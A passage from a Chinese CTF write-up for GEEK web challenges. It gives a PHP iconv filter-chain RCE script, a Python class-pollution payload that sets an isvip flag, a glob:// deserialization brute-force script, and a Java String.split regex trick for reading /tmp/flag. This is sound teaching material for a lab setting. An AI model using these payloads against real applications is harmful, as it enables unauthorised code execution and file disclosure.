'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" r = requests.get(url, params={ "0": command, "action": "xxx", "file": final_payload }) print(r.text)
运行得到flag
最后flag为
1 SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}
ezpython 题目描述:
开启环境
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 import json import os from waf import waf import importlib from flask import Flask,render_template,request,redirect,url_for,session,render_template_string app = Flask(__name__) app.secret_key='jjjjggggggreekchallenge202333333' class User(): def __init__(self): self.username="" self.password="" self.isvip=False class hhh(User): def __init__(self): self.username="" self.password="" registered_users=[] @app.route('/') def hello_world(): # put application's code here return render_template("welcome.html") @app.route('/play') def play(): username=session.get('username') if username: return render_template('index.html',name=username) else: return redirect(url_for('login')) @app.route('/login',methods=['GET','POST']) def login(): if request.method == 'POST': username=request.form.get('username') password=request.form.get('password') user = next((user for user in registered_users if user.username == username and user.password == password), None) if user: session['username'] = user.username session['password']=user.password return redirect(url_for('play')) else: return "Invalid login" return redirect(url_for('play')) return render_template("login.html") @app.route('/register',methods=['GET','POST']) def register(): if request.method == 'POST': try: if waf(request.data): return "fuck payload!Hacker!!!" data=json.loads(request.data) if "username" not in data or "password" not in data: return "连用户名密码都没有你注册啥呢" user=hhh() merge(data,user) registered_users.append(user) except Exception as e: return "泰酷辣,没有注册成功捏" return redirect(url_for('login')) else: return render_template("register.html") @app.route('/flag',methods=['GET']) def flag(): user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None) if user: if user.isvip: data=request.args.get('num') if data: if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10: flag = os.environ.get('geek_flag') return render_template('flag.html',flag=flag) else: return "你的数字不对哦!" else: return "I need a num!!!" else: return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>') else: return "先登录去" def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) if __name__ == '__main__': app.run(host="0.0.0.0",port="8888")
参考
Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖
构造原型化污染,对/register接口进行操作
思路:污染 isVip 为 True,这里采取编码绕过
1 2 3 /register {"username":"yiqing","password":"yiqing","__class__" : {"__base__" : {"is\u0076ip" : 1}}}
再登录访问 /flag
,绕过判断:/flag?num=123456789%0a
,查看源码得到flag
最后flag为
1 GEEK{8ffdf04d-4f1a-4915-8f65-6c08562b43b4}
klf_3 题目描述:
1 ”好好好这都给你们做出来了,这次我拜托了pursue0h帮我收集了你们前几次的payload,这次绝对不可能让你们做出来,你们绝对是klf“
没话讲,直接用klf_2的脚本获得flag
最后flag为
1 GEEK{d43436bd-fa02-4734-85e1-f6932473c3f3}
Akane! 题目描述:
开启环境
无利用点的反序列化
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests import string import base64 url = 'http://80-8ad51f53-171b-4918-a0e4-9e304b3fd878.challenge.ctfplus.cn/?tuizi=' filename = '/var/www/html/The************************.php' dic = string.printable name = '' for i in range(24): for j in dic: guess = f'glob:///var/www/html/The{name+j}{"*"*(23-len(name))}.php' payload = f'O:7:"Hoshino":2:{{s:4:"Ruby";O:4:"Idol":1:{{s:5:"Akane";s:{len(guess)}:"{guess}";}}}}'.encode() r = requests.get(f'{url}{base64.b64encode(payload).decode()}') if 'Kurokawa Akane' in r.text: name += j print(name) break print(name)
运行得到 TheS4crEtF1AgFi1EByo2takuXX.php
访问/TheS4crEtF1AgFi1EByo2takuXX.php得到flag
最后flag为
1 GEEK{094cd070-c211-47ce-aa99-784da5a25f33}
java 题目描述:
1 不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊)
开启环境
admin 123456
登录
controller/home.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 package com.example.springwebdemo.controller; import com.example.springwebdemo.redis; import com.example.springwebdemo.input; import com.example.springwebdemo.model.User; import com.example.springwebdemo.output; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import java.io.*; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.Map; @Controller public class home { @RequestMapping(value = "/",method = RequestMethod.GET) public String index(HttpSession session) throws IOException { return "home"; } @RequestMapping(value = "/error",method = RequestMethod.GET) public String error(){ return "error"; } @RequestMapping(value = "/login",method = RequestMethod.POST) public String login(HttpSession session, HttpServletRequest request, RedirectAttributes redirectAttributes) throws Exception { String username = request.getParameter("username"); String password = request.getParameter("password"); if (username.equals("admin") && password.equals("123456")){ session.setAttribute("user", username); if (redis.get(session.getId()+"admin") == null){ User u = new User(); u.name ="admin"; u.sex = "男"; u.age = 10; redis.save(session.getId()+"admin",marshalinfo(u)); } return "redirect:admin"; }else { session.setAttribute("user", ""); redirectAttributes.addAttribute("msg","登录失败"); return "redirect:error"; } } @RequestMapping(value = "/admin",method = RequestMethod.GET) public String admin(HttpSession session, RedirectAttributes redirectAttributes, Model model) throws Exception{ Object user = session.getAttribute("user"); if (user == null || user.toString().equals("")){ redirectAttributes.addAttribute("msg","请先登录"); return "redirect:error"; } String name = user.toString(); User userinfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+name)))).readObject(); Path path = Paths.get(userinfo.secretFile); if (!path.startsWith("/tmp")){ redirectAttributes.addAttribute("msg","secret must be under /tmp"); return "redirect:error"; } byte[] secret = Files.readAllBytes(path); model.addAttribute("user",userinfo); model.addAttribute("secret",new String(secret)); return "admin"; } @RequestMapping(value = "/marshalinfo",method = RequestMethod.POST) @ResponseBody public String marshalinfo(User u) throws Exception { u.secretFile ="/tmp/admin_secret"; ByteArrayOutputStream out = new ByteArrayOutputStream(); output o = new output(out); o.writeObject(u); return Base64.getEncoder().encodeToString(out.toByteArray()); } @RequestMapping(value = "/invoke",method = RequestMethod.POST) @ResponseBody public String save(HttpSession session,@RequestBody Map<String, String> info) throws Exception { Object user = session.getAttribute("user"); if (user != null && !user.equals("")){ String action = info.get("action"); switch (action){ case "update": try{ String data = info.get("data"); User newInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(data))).readObject(); User oldInfo = (User)new input(new ByteArrayInputStream(Base64.getDecoder().decode(redis.get(session.getId()+user.toString())))).readObject(); oldInfo.name = newInfo.name; oldInfo.sex = newInfo.sex; oldInfo.age = newInfo.age; oldInfo.hash = newInfo.hash; ByteArrayOutputStream out = new ByteArrayOutputStream(); output o = new output(out); o.writeObject(oldInfo); redis.save(session.getId()+user.toString(),Base64.getEncoder().encodeToString(out.toByteArray())); return "更新成功 name、sex、age成功"; }catch (Exception e){ return "更新失败: "+e; } default: return "受支持action: " +action; } }else { return "请先登录"; } } }
model/User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 package com.example.springwebdemo.model; import org.springframework.util.StringUtils; import java.io.ObjectOutputStream; import java.io.Serializable; import java.lang.reflect.Field; import java.util.ArrayList; public class User implements Serializable { public static String separator = "O.o"; public String hash = ""; public String name = "张三"; public String sex = "男"; public int age; public String secretFile ="/tmp/admin_secret"; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getSecretFile() { return secretFile; } public void setSecretFile(String secretFile) { this.secretFile = secretFile; } private void readObject(java.io.ObjectInputStream s) throws Exception{ String data = (String) s.readObject(); Field[] fields = this.getClass().getFields(); if (StringUtils.countOccurrencesOf(data, User.separator) != fields.length-2){ throw new Exception(String.format("`%s` is the separator of the split method, the number of `%s` occurrences must be "+(fields.length-2),User.separator,User.separator)); } String[] splits = data.split(User.separator); for (int i = 1; i < fields.length; i++) { if(fields[i].getType().getName().equals("int")){ fields[i].set(this,Integer.parseInt(splits[i-1])); }else{ fields[i].set(this,splits[i-1]); } } this.hash = (String) s.readObject(); if (StringUtils.countOccurrencesOf(this.hash, User.separator) != 0){ throw new Exception("hash cont content O.o"); } } private void writeObject(ObjectOutputStream os) throws Exception{ Field[] fields = this.getClass().getFields(); ArrayList<String> datas = new ArrayList<>(); for (int i = 1; i < fields.length; i++) { if(fields[i].getType().getName().equals("int")){ datas.add(String.valueOf(fields[i].get(this))); }else{ datas.add(fields[i].get(this).toString()); } } os.writeObject(String.join(User.separator,datas)); os.writeObject(String.join("-",datas)); } }
利用了java中String.split的特性,他是正则匹配给定字符串中存在的分隔符,而这里给的是分隔符是O.o,在正则匹配的模式中.(点)会被匹配成任意字符,所以我们可以使用任意字符来代替.(点),从而自己操控分割后的东西
在名字那一栏输入111Oxoyiqing01Oxo1Oxo19Oxo/tmp/flagOxo111
点击保存得到flag
最后flag为
1 GEEK{7ab4d5e1-65f5-413a-ae25-f577c7e089ed}